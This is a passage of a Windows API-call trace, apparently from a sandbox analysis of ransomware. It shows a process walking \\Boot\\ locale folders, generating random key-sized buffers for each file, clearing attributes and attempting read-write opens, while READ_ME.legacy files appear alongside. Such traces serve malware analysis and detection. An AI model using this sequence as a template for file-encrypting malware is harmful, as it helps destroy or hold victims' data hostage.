[0107.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0107.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0107.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d120 [0107.330] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0107.330] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d120 | out: pbBuffer=0x54d120) returned 1 [0107.330] SetFileAttributesW (lpFileName="\\Boot\\el-GR\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0107.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0107.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0107.330] CreateFileW (lpFileName="\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0107.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0107.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0107.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0107.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0107.330] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0107.330] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d140 | out: pbBuffer=0x54d140) returned 1 [0107.330] SetFileAttributesW (lpFileName="\\Boot\\el-GR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0107.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0107.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0107.330] CreateFileW (lpFileName="\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0107.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0107.331] FindFirstFileW (in: lpFileName="\\Boot\\en-GB\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0f28 [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0107.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0107.331] GetLastError () returned 0x5 [0107.331] SetLastError (dwErrCode=0x5) [0107.331] GetLastError () returned 0x5 [0107.331] SetLastError (dwErrCode=0x5) [0107.331] GetLastError () returned 0x5 [0107.331] SetLastError (dwErrCode=0x5) [0107.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567230 [0107.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d768 [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d768 | out: hHeap=0x520000) returned 1 [0107.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0107.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a07e8 [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a07e8 | out: hHeap=0x520000) returned 1 [0107.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20210 [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20210 | out: hHeap=0x520000) returned 1 [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0107.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567230 | out: hHeap=0x520000) returned 1 [0107.332] FindNextFileW (in: hFindFile=0x5a0f28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0107.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0107.332] GetLastError () returned 0x5 [0107.332] SetLastError (dwErrCode=0x5) [0107.332] GetLastError () returned 0x5 [0107.332] SetLastError (dwErrCode=0x5) [0107.332] GetLastError () returned 0x5 [0107.332] SetLastError (dwErrCode=0x5) [0107.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0107.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0107.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0107.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0107.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a07e8 [0107.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a07e8 | out: hHeap=0x520000) returned 1 [0107.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0107.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0107.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0107.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0107.332] FindNextFileW (in: hFindFile=0x5a0f28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0107.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0107.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0107.332] GetLastError () returned 0x5 [0107.332] SetLastError (dwErrCode=0x5) [0107.332] GetLastError () returned 0x5 [0107.332] SetLastError (dwErrCode=0x5) [0107.332] GetLastError () returned 0x5 [0107.332] SetLastError (dwErrCode=0x5) [0107.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0107.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0107.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0107.333] FindNextFileW (in: hFindFile=0x5a0f28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aca9ab, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aca9ab, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0107.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0107.333] GetLastError () returned 0x5 [0107.333] SetLastError (dwErrCode=0x5) [0107.333] GetLastError () returned 0x5 [0107.333] SetLastError (dwErrCode=0x5) [0107.333] GetLastError () returned 0x5 [0107.333] SetLastError (dwErrCode=0x5) [0107.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0107.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0107.333] FindNextFileW (in: hFindFile=0x5a0f28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aca9ab, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aca9ab, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0107.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0107.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0107.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0107.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0107.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0107.333] SetFileAttributesW (lpFileName="\\Boot\\en-GB\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0107.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0107.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0107.334] CreateFileW (lpFileName="\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0107.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0107.334] FindFirstFileW (in: lpFileName="\\Boot\\en-US\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a07e8 [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0107.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0107.334] GetLastError () returned 0x5 [0107.334] SetLastError (dwErrCode=0x5) [0107.334] GetLastError () returned 0x5 [0107.334] SetLastError (dwErrCode=0x5) [0107.334] GetLastError () returned 0x5 [0107.334] SetLastError (dwErrCode=0x5) [0107.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ba0 [0107.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0107.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0107.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a06e8 [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a06e8 | out: hHeap=0x520000) returned 1 [0107.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0107.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ba0 | out: hHeap=0x520000) returned 1 [0107.334] FindNextFileW (in: hFindFile=0x5a07e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0107.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0107.335] GetLastError () returned 0x5 [0107.335] SetLastError (dwErrCode=0x5) [0107.335] GetLastError () returned 0x5 [0107.335] SetLastError (dwErrCode=0x5) [0107.335] GetLastError () returned 0x5 [0107.335] SetLastError (dwErrCode=0x5) [0107.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0107.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d298 [0107.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0107.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a04a8 [0107.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a04a8 | out: hHeap=0x520000) returned 1 [0107.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0107.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0107.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0107.335] FindNextFileW (in: hFindFile=0x5a07e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0107.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0107.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0107.335] GetLastError () returned 0x5 [0107.335] SetLastError (dwErrCode=0x5) [0107.335] GetLastError () returned 0x5 [0107.335] SetLastError (dwErrCode=0x5) [0107.335] GetLastError () returned 0x5 [0107.335] SetLastError (dwErrCode=0x5) [0107.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0107.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0107.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0107.335] FindNextFileW (in: hFindFile=0x5a07e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0107.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0107.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0107.335] GetLastError () returned 0x5 [0107.335] SetLastError (dwErrCode=0x5) [0107.336] GetLastError () returned 0x5 [0107.336] SetLastError (dwErrCode=0x5) [0107.336] GetLastError () returned 0x5 [0107.336] SetLastError (dwErrCode=0x5) [0107.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0107.336] FindNextFileW (in: hFindFile=0x5a07e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aca9ab, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aca9ab, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0107.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0107.336] GetLastError () returned 0x5 [0107.336] SetLastError (dwErrCode=0x5) [0107.336] GetLastError () returned 0x5 [0107.336] SetLastError (dwErrCode=0x5) [0107.336] GetLastError () returned 0x5 [0107.336] SetLastError (dwErrCode=0x5) [0107.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.336] FindNextFileW (in: hFindFile=0x5a07e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aca9ab, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aca9ab, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0107.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0107.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0107.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0107.336] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0107.336] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0107.336] SetFileAttributesW (lpFileName="\\Boot\\en-US\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0107.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0107.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0107.336] CreateFileW (lpFileName="\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0107.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0107.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0107.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0107.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0107.337] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0107.337] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1d0 | out: pbBuffer=0x54d1d0) returned 1 [0107.337] SetFileAttributesW (lpFileName="\\Boot\\en-US\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0107.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0107.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0107.337] CreateFileW (lpFileName="\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0107.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0107.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0107.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0107.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0107.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0107.346] FindFirstFileW (in: lpFileName="\\Boot\\es-ES\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a05e8 [0107.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0107.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0107.347] GetLastError () returned 0x5 [0107.347] SetLastError (dwErrCode=0x5) [0107.347] GetLastError () returned 0x5 [0107.347] SetLastError (dwErrCode=0x5) [0107.347] GetLastError () returned 0x5 [0107.347] SetLastError (dwErrCode=0x5) [0107.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0107.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0107.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0107.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0107.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a02e8 